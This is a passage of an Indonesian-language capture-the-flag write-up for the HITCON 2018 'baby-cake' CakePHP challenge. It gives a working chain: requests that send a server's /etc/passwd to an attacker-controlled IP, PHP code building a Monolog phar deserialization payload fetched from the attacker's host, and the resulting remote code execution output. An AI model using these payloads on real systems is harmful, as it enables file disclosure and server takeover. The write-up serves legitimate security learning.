$content = file_get_contents($value);  
$contentType = $finfo->file($value);  
}  
$part = $this->newPart($name, $content);  
$part->type($contentType);  
if ($filename) {  
$part->filename($filename);  
}  
$this->add($part);

return $part;  
}  
```

Eksekusi pada fungsi `addMany(array $data)` akan mengiterasi array yang
dimasukkan untuk diproses menggunakan `add($name, $value)`. Pada fungsi
`add($name, $value)`, apabila `$value` adalah string yang diawali `@`, maka
`$this->addFile($name, $value);` akan dipanggil.

Pada `addFile($name, $value)`, karena `$value` adalah string, maka `$value =
substr($value, 1);` dan `$content = file_get_contents($value);` akan
tereksekusi. Dengan ini, kita dapat mengontrol parameter dari
`file_get_contents`!

#### Local File Disclosure

Untuk mengujinya, kita dapat mencoba Local File Disclosure. Data request yang
dibuat akan dikirim langsung menuju URL dengan menggunakan `fopen` pada
`Cake\Http\Client\Adapter\Stream`.

Berikut adalah request untuk mengirimkan `/etc/passwd` ke IP kita.

```  
POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/passwd  
```

Pada IP kita, kita akan mendapatkan `/etc/passwd` dari server!

```  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
systemd-network:x:100:102:systemd Network
Management,,,:/run/systemd/netif:/usr/sbin/nologin  
systemd-resolve:x:101:103:systemd
Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin  
syslog:x:102:106::/home/syslog:/usr/sbin/nologin  
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin  
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin  
lxd:x:105:65534::/var/lib/lxd/:/bin/false  
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin  
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin  
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin  
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin  
pollinate:x:110:1::/var/cache/pollinate:/bin/false  
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash  
orange:x:1001:1001:,,,:/home/orange:/bin/bash  
```

Kita juga dapat melihat bahwa konfigurasi Apache menggunakan
`000-default.conf` dan direktori web berada di `/var/www/html`.

```  
POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/apache2/sites-
enabled/000-default.conf  
```

```  
<VirtualHost *:80>  
...

ServerAdmin webmaster@localhost  
DocumentRoot /var/www/html

...  
</VirtualHost>  
```

Percobaan untuk mendapatkan flag dari Local File Disclosure tidak berhasil.
Oleh karena itu, kita harus meningkatkannya menjadi Remote Code Execution.

#### Remote Code Execution

Dengan menggunakan fitur yang ada di web, kita dapat menyimpan konten body
dari web kita di
`/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(URL)/body.cache`. Strategi yang
dapat dilakukan adalah:

1\. Buat payload untuk melakukan PHP Object Injection dari berbagai Class yang
tersedia.  
2\. Letakkan payload PHP Object Injection tersebut pada suatu file phar, misal
`exploit.phar` di IP kita.  
3\. Download `http://IP/exploit.phar` dari web sehingga cache akan tersimpan
di
`/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache`  
4\. Lakukan POST pada web dengan URL web sembarang dan data untuk membuka
`phar://` stream wrapper sehingga terjadi `unserialization`.

Untuk `gadgets`, di sini kita akan mencoba menggunakan `Monolog` dengan
referensi dari
https://github.com/ambionics/phpggc/tree/master/gadgetchains/Monolog/RCE/1.

Berikut adalah kode untuk membuat payload `exploit.phar` yang akan
mengeksekusi `system('ls -alt')`.

```php  
socket = $x;  
}  
}  
class BufferHandler  
{  
protected $handler;  
protected $bufferSize = -1;  
protected $buffer;  
# ($record['level'] < $this->level) == false  
protected $level = null;  
protected $initialized = true;  
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) ==
false  
protected $bufferLimit = -1;  
protected $processors;  
function __construct($methods, $command)  
{  
$this->processors = $methods;  
$this->buffer = [$command];  
$this->handler = clone $this;  
}  
}  
}

namespace{  
$cmd = "ls -alt";

$obj = new \Monolog\Handler\SyslogUdpHandler(  
new \Monolog\Handler\BufferHandler(  
['current', 'system'],  
[$cmd, 'level' => null]  
)  
);

$phar = new Phar('exploit.phar');  
$phar->startBuffering();  
$phar->addFromString('test', 'test');  
$phar->setStub('');  
$phar->setMetadata($obj);  
$phar->stopBuffering();

}  
```

Pertama, akses URL `exploit.phar` pada aplikasi web agar cache-nya disimpan.

```  
GET http://13.230.134.135/?url=http://IP/exploit.phar  
```

Lalu, gunakan POST request untuk membuka stream 'phar://' dengan lokasi cache
dari `exploit.phar` sebagai path.

```  
POST
http://13.230.134.135/?url=http://IP&data[test]=@phar:///var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache  
```

Dan RCE berhasil dilakukan!

```  
total 104  
drwxr-xr-x 26 root root 1000 Oct 21 11:08 run  
drwxrwxrwt 2 root root 4096 Oct 21 06:25 tmp  
-rwsr-sr-x 1 root root 8568 Oct 18 19:53 read_flag  
drwxr-xr-x 23 root root 4096 Oct 18 19:53 .  
drwxr-xr-x 23 root root 4096 Oct 18 19:53 ..  
drwx------ 5 root root 4096 Oct 18 17:12 root  
drwxr-xr-x 90 root root 4096 Oct 18 11:23 etc  
dr-xr-xr-x 13 root root 0 Oct 16 07:57 sys  
-r-------- 1 root root 54 Oct 15 19:49 flag  
drwxr-xr-x 4 root root 4096 Oct 15 19:41 home  
drwxr-xr-x 3 root root 4096 Oct 9 06:07 boot  
lrwxrwxrwx 1 root root 31 Oct 9 06:07 initrd.img ->
boot/initrd.img-4.15.0-1023-aws  
lrwxrwxrwx 1 root root 28 Oct 9 06:07 vmlinuz -> boot/vmlinuz-4.15.0-1023-aws  
drwxr-xr-x 2 root root 4096 Oct 9 06:07 sbin  
lrwxrwxrwx 1 root root 14 Oct 8 17:14 www -> /var/www/html/  
drwxr-xr-x 14 root root 4096 Oct 8 17:13 var  
drwxr-xr-x 5 root root 4096 Oct 8 17:06 snap  
drwxr-xr-x 15 root root 2980 Oct 8 17:06 dev  
dr-xr-xr-x 136 root root 0 Oct 8 17:06 proc  
lrwxrwxrwx 1 root root 31 Sep 12 16:16 initrd.img.old ->
boot/initrd.img-4.15.0-1021-aws  
lrwxrwxrwx 1 root root 28 Sep 12 16:16 vmlinuz.old ->
boot/vmlinuz-4.15.0-1021-aws  
drwxr-xr-x 20 root root 4096 Sep 12 16:16 lib  
drwx------ 2 root root 16384 Sep 12 16:10 lost+found  
drwxr-xr-x 2 root root 4096 Sep 12 15:59 bin  
drwxr-xr-x 2 root root 4096 Sep 12 15:56 lib64  
drwxr-xr-x 10 root root 4096 Sep 12 15:55 usr  
drwxr-xr-x 2 root root 4096 Sep 12 15:55 media  
drwxr-xr-x 2 root root 4096 Sep 12 15:55 opt  
drwxr-xr-x 2 root root 4096 Sep 12 15:55 mnt  
drwxr-xr-x 2 root root 4096 Sep 12 15:55 srv  
```

File `/flag` tidak bisa dibuka karena hanya bisa dibaca oleh `root`.
Sepertinya kita harus membacanya dengan mengeksekusi `/read_flag` yang
merupakan setuid binary. Jika `tty` diperlukan, kita bisa melakukan reverse
shell. Namun, tty tidak diperlukan sehingga eksekusi `system('/get_flag')`
dengan memodifikasi payload sebelumnya akan memberikan kita flag.

Flag: **hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}**

FYI, [Orange](https://twitter.com/orange_8361) (pembuat soal) sudah menemukan
bahwa `phar://` dapat melakukan `unserialize` di internal sejak tahun lalu,
lebih dulu dari pada orang lain yang mempresentasikannya di Black Hat USA
2018.

Referensi:  
\- https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017  
\- https://blog.ripstech.com/2018/new-php-exploitation-technique/

Original writeup (https://github.com/PDKT-
Team/ctf/tree/master/hitcon2018/baby-cake).